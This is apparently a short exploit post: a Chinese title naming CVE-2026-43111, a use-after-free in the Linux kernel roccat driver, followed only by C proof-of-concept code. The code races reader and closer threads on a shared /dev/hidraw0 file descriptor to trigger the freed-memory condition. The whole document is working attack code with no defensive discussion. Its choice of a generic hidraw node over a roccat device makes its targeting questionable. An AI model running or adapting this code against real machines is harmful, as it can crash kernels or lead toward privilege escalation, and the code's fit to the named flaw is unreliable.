CVE-2026-43111 Linux内核roccat驱动UAF漏洞

#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #define DEVICE_PATH "/dev/hidraw0" #define THREADS 2 // Global file descriptor to race on int fd = -1; volatile int running = 1; // Thread 1: Continuously read from the device to trigger report_event void* reader_thread(void* arg) { char buffer[256]; while (running) { if (fd >= 0) { read(fd, buffer, sizeof(buffer)); } } return NULL; } // Thread 2: Continuously open and close to trigger release void* closer_thread(void* arg) { while (running) { if (fd >= 0) { close(fd); fd = -1; } // Attempt to reopen immediately fd = open(DEVICE_PATH, O_RDWR); usleep(100); // Short sleep to vary timing } return NULL; } int main() { pthread_t t1, t2; // Open the device initially fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC for CVE-2026-43111...\n"); // Create threads pthread_create(&t1, NULL, reader_thread, NULL); pthread_create(&t2, NULL, closer_thread, NULL); // Let it run for a few seconds to trigger the race sleep(5); running = 0; // Cleanup pthread_join(t1, NULL); pthread_join(t2, NULL); if (fd >= 0) close(fd); printf("PoC execution finished.\n"); return 0; }